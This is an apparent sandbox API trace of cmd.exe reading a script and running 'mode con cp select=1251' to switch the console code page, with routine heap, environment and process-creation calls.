	[0086.591] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee342, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0086.591] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.591] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.591] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee344, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0086.592] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.592] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.592] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee346, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0086.592] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.592] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.592] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee348, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0086.592] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.592] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.592] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0086.592] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.592] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.592] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0086.593] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.593] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.593] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0086.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0086.593] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.593] GetFileType (hFile=0xe8) returned 0x3
	[0086.593] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0086.593] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0086.594] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.594] GetFileType (hFile=0xf4) returned 0x3
	[0086.594] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0086.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0086.594] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x18f878, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f878*=0x18, lpOverlapped=0x0) returned 1
	[0086.594] GetProcessHeap () returned 0x1c0000
	[0086.594] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x4012) returned 0x1dcd20
	[0086.594] GetProcessHeap () returned 0x1c0000
	[0086.594] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1dcd20 | out: hHeap=0x1c0000) returned 1
	[0086.594] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0086.594] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0086.594] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0086.594] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0086.594] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0086.594] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0086.594] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0086.594] GetProcessHeap () returned 0x1c0000
	[0086.594] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xb0) returned 0x1d97e0
	[0086.594] GetProcessHeap () returned 0x1c0000
	[0086.594] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x1a) returned 0x1d4610
	[0086.595] GetProcessHeap () returned 0x1c0000
	[0086.595] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x38) returned 0x1d6510
	[0086.597] GetConsoleOutputCP () returned 0x1b5
	[0086.597] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9ebfe0 | out: lpCPInfo=0x4a9ebfe0) returned 1
	[0086.597] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0086.597] GetConsoleTitleW (in: lpConsoleTitle=0x18f830, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0086.597] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0086.598] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0086.598] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0086.598] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0086.598] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0086.598] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0086.598] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0086.598] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0086.598] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0086.598] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0086.598] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0086.598] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0086.598] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0086.598] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0086.598] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0086.598] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0086.598] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0086.598] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0086.598] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0086.598] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0086.598] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0086.598] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0086.598] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0086.598] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0086.598] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0086.598] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0086.598] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0086.598] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0086.598] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0086.598] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0086.598] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0086.598] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0086.598] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0086.598] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0086.598] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0086.599] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0086.599] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0086.599] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0086.599] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0086.599] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0086.599] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0086.599] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0086.599] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0086.599] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0086.599] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0086.599] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0086.599] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0086.599] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0086.599] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0086.599] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0086.599] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0086.599] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0086.599] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0086.599] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0086.599] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0086.599] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0086.599] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0086.599] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0086.599] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0086.599] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0086.599] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0086.599] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0086.599] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0086.599] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0086.599] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0086.599] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0086.599] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0086.599] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0086.599] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0086.600] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0086.600] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0086.600] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0086.600] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0086.600] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0086.600] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0086.600] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0086.600] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0086.600] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0086.600] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0086.600] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0086.600] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0086.600] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0086.600] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0086.600] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0086.600] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0086.600] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0086.600] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0086.600] GetProcessHeap () returned 0x1c0000
	[0086.600] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x218) returned 0x1c1ab0
	[0086.600] GetProcessHeap () returned 0x1c0000
	[0086.600] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x42) returned 0x1d98a0
	[0086.600] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0086.601] GetProcessHeap () returned 0x1c0000
	[0086.601] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x420) returned 0x1d9a80
	[0086.601] SetErrorMode (uMode=0x0) returned 0x0
	[0086.601] SetErrorMode (uMode=0x1) returned 0x0
	[0086.601] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1d9a90, lpFilePart=0x18f0c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f0c0*="Desktop") returned 0x25
	[0086.601] SetErrorMode (uMode=0x0) returned 0x1
	[0086.601] GetProcessHeap () returned 0x1c0000
	[0086.601] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d9a80, Size=0x66) returned 0x1d9a80
	[0086.601] GetProcessHeap () returned 0x1c0000
	[0086.601] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d9a80) returned 0x66
	[0086.601] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0086.601] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0086.601] GetProcessHeap () returned 0x1c0000
	[0086.601] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x128) returned 0x1c1cd0
	[0086.601] GetProcessHeap () returned 0x1c0000
	[0086.601] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x240) returned 0x1d9b00
	[0086.608] GetProcessHeap () returned 0x1c0000
	[0086.608] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d9b00, Size=0x12a) returned 0x1d9b00
	[0086.608] GetProcessHeap () returned 0x1c0000
	[0086.608] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d9b00) returned 0x12a
	[0086.608] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0086.608] GetProcessHeap () returned 0x1c0000
	[0086.608] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xe8) returned 0x1d5b70
	[0086.608] GetProcessHeap () returned 0x1c0000
	[0086.608] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d5b70, Size=0x7e) returned 0x1d5b70
	[0086.608] GetProcessHeap () returned 0x1c0000
	[0086.608] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d5b70) returned 0x7e
	[0086.609] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0086.609] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff
	[0086.609] GetLastError () returned 0x2
	[0086.610] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0xffffffffffffffff
	[0086.610] GetLastError () returned 0x2
	[0086.610] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0086.610] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x1d5c00
	[0086.610] GetProcessHeap () returned 0x1c0000
	[0086.610] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1d4640
	[0086.610] FindClose (in: hFindFile=0x1d5c00 | out: hFindFile=0x1d5c00) returned 1
	[0086.610] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x18ee30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ee30) returned 0x1d5c00
	[0086.610] GetProcessHeap () returned 0x1c0000
	[0086.610] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d4640, Size=0x8) returned 0x1d98f0
	[0086.610] FindClose (in: hFindFile=0x1d5c00 | out: hFindFile=0x1d5c00) returned 1
	[0086.610] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0086.610] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0086.610] GetConsoleTitleW (in: lpConsoleTitle=0x18f380, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0086.611] GetProcessHeap () returned 0x1c0000
	[0086.611] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x21c) returned 0x1d9c40
	[0086.611] GetConsoleTitleW (in: lpConsoleTitle=0x1d9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a
	[0086.611] GetProcessHeap () returned 0x1c0000
	[0086.611] RtlReAllocateHeap (Heap=0x1c0000, Flags=0x0, Ptr=0x1d9c40, Size=0xa8) returned 0x1d9c40
	[0086.611] GetProcessHeap () returned 0x1c0000
	[0086.611] RtlSizeHeap (HeapHandle=0x1c0000, Flags=0x0, MemoryPointer=0x1d9c40) returned 0xa8
	[0086.611] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0086.611] GetProcessHeap () returned 0x1c0000
	[0086.611] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d9c40 | out: hHeap=0x1c0000) returned 1
	[0086.611] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f138, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f0f8 | out: lpAttributeList=0x18f138, lpSize=0x18f0f8) returned 1
	[0086.612] UpdateProcThreadAttribute (in: lpAttributeList=0x18f138, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f0e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f138, lpPreviousValue=0x0) returned 1
	[0086.612] GetStartupInfoW (in: lpStartupInfo=0x18f250 | out: lpStartupInfo=0x18f250*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) 
	[0086.612] GetProcessHeap () returned 0x1c0000
	[0086.612] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x20) returned 0x1d4640
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0086.612] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0086.613] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0086.613] GetProcessHeap () returned 0x1c0000
	[0086.613] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d4640 | out: hHeap=0x1c0000) returned 1
	[0086.613] GetProcessHeap () returned 0x1c0000
	[0086.613] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x12) returned 0x1d8900
	[0086.613] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18f170*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f120 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x18f120*(hProcess=0x54, hThread=0x50, dwProcessId=0xa90, dwThreadId=0xa94)) returned 1
	[0087.185] CloseHandle (hObject=0x50) returned 1
	[0087.186] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0087.186] GetProcessHeap () returned 0x1c0000
	[0087.186] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1dc230 | out: hHeap=0x1c0000) returned 1
	[0087.186] GetEnvironmentStringsW () returned 0x1daa10*
	[0087.186] GetProcessHeap () returned 0x1c0000
	[0087.186] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xae8) returned 0x1db500
	[0087.186] FreeEnvironmentStringsW (penv=0x1daa10) returned 1
	[0087.186] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000
	[0087.187] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0
	[0087.187] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x18ea28, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18ea28, ReturnLength=0x0) returned 0x0
	[0087.187] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdd000, lpBuffer=0x18ea60, nSize=0x380, lpNumberOfBytesRead=0x18ea20 | out: lpBuffer=0x18ea60*, lpNumberOfBytesRead=0x18ea20*=0x380) returned 1
	[0087.187] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0090.437] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x18f068 | out: lpExitCode=0x18f068*=0x0) returned 1
	[0090.437] CloseHandle (hObject=0x54) returned 1
	[0090.437] _vsnwprintf (in: _Buffer=0x18f2d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x18f078 | out: _Buffer="00000000") returned 8
	[0090.437] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0090.438] GetProcessHeap () returned 0x1c0000
	[0090.438] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1db500 | out: hHeap=0x1c0000) returned 1
	[0090.438] GetEnvironmentStringsW () returned 0x1daa10*
	[0090.438] GetProcessHeap () returned 0x1c0000
